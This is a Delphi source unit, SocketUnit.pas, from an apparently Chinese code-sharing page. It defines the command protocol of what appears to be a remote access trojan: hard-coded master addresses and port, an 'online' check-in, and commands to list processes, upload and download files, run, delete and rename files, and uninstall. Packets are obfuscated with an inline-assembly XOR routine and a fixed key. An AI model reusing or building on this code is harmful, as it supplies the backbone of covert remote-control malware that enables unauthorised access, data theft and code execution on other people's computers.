📄 socketunit.pas
字号:
unit SocketUnit;
interface
uses
Windows;
const
szKeyBuffer: Array[0..$F] Of Char =(
#$A3, #$78, #$26, #$35, #$57, #$32, #$2D, #$60, #$B4, #$3C, #$2A, #$5E, #$33, #$34, #$72, #$00
);
Type
LPSocketHeader = ^TSocketHeader;
TSocketHeader = packed Record
dwSocketLen: DWORD;
bSocketCmd: Byte;
end;
const
CStr_MasterPort = 2000;
CStr_MasterAddress1 = '127.0.0.1';
CStr_MasterAddress2 = 'localhost';
CStr_MasterAddress3 = '192.168.1.2';
const
cOsUnknown= 0;
cOsWin95 = 1;
cOsWin98 = 2;
cOsWinME = 3;
cOsWinNT3 = 4;
cOsWinNT4 = 5;
cOsWin2K = 6;
cOsWinXP = 7;
const
CDelimiter = $07; // 数据分隔符
CTheEnd = $00; // 结束符
// Server常用指令
CSocket_PING = $97; // Ping指令
CSocket_Uninstall = $C1; // 卸载
CSocket_ListProcess = $BE; // 获取进程列表
CSocket_GetBaseInfo = $C0; // 获取基本配置信息
CSocket_ListDrive = $82; // 获取驱动器d列表
CSocket_ListFile = $83; // 刷新目录文件
CSocket_FileUploadStart = $84; // 文件上传开始(指令后|DWORD-文件长度|文件路径|)
CSocket_FileUploading = $85; // 文件上传中(每次上传4090字节)
CSocket_FileDownStart = $86; // 文件下载开始
CSocket_FileSendStop = $87; // 终止文件传输
CSocket_FileRun = $88; // 文件运行(WinExec-指令后跟随文件路径)
CSocket_CreateDirectory = $89; // 创建目录(CreateDirectory-指令后跟随目录路径)
CSocket_FileDelete = $8A; // 文件删除(指令后是需要删除的文件目录)
CSocket_DeleteDirectory = $8B; // 删除目录
CSockek_FileOpen = $8E; // 文件远程打开(ShellExecute-指令后跟随文件路径-无返回值)
CSocket_FileRename = $8F; // 文件改名
// Client常用指令
const
CSocket_Online = $32; // 上线指令(发送基本数据指令)
CSocket_PONG = $33; // 回应Ping指令
CSocket_SendProcess = $5A; // 发送进程列表
CSocket_SendBaseInfo = $5C; // 发送Client基本信息
CSocket_SendListDrive = $1E; // 发送驱动器列表
CSocket_SendDriveError = $45; // 发送驱动器获取错误信息
CSocket_SendListFile = $1F; // 发送文件和目录列表
CSocket_SendListFileEnd = $20; // 文件列表发送完毕
CSocket_FileRunOk = $24; // 文件WinExec成功(指令后跟随运行的文件名)
CSocket_FileRunFailed = $3E; // 文件WinExec失败(指令后跟随运行的文件名)
CSocket_FileDeleteOk = $26; // 文件删除成功(指令后跟随删除的文件名)
CSocket_FileDeleteFailed= $40; // 文件删除失败(指令后跟随删除的文件名)
CSocket_DirectoryCreateOk = $25; // 目录创建成功(指令后跟随创建的目录名)
CSocket_DirectoryCreateFailed = $3F; // 目录创建失败(指令后跟随创建的目录名)
CSocket_FileRenameOK = $2B; // 文件改名成功(指令后跟原始文件名)
CSocket_FileRenameFailed = $49; // 文件改名失败(指令后跟原始文件名)
CSocket_SendFileDownStart = $21; // 发送下载文件开始指令(后面跟随的是文件长度)
CSocket_SendFileDowning = $22; // 文件下载ing...(每次读取4091字节)
CSocket_SendReadFileError = $3C; // 发送读取文件失败指令
CSocket_SendUpLoadFailed = $3D; // 发送写入文件失败指令
CSocket_SendUpLoadStart = $46; // 发送上传开始指令
CSocket_SendUpLoadTheEnd = $23; // 发送上传结束指令
// 封包加密解密函数
procedure EnDeCode(lpBuffer: Pointer; iBuffLen: Integer; lpKey: Pointer; iKeyLen: Integer); cdecl;
implementation
procedure EnDeCode(lpBuffer: Pointer; iBuffLen: Integer; lpKey: Pointer; iKeyLen: Integer); cdecl;
asm
push esi
xor esi, esi
cmp [iBuffLen], esi
jle @@L017
@@L006:
mov eax, dword ptr [lpBuffer]
xor edx, edx
lea ecx, dword ptr [esi+eax]
mov eax, esi
div dword ptr [iKeyLen]
mov eax, dword ptr [lpKey]
mov al, byte ptr [edx+eax]
xor byte ptr [ecx], al
inc esi
cmp esi, dword ptr [iBuffLen]
jl @@L006
@@L017:
pop esi
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -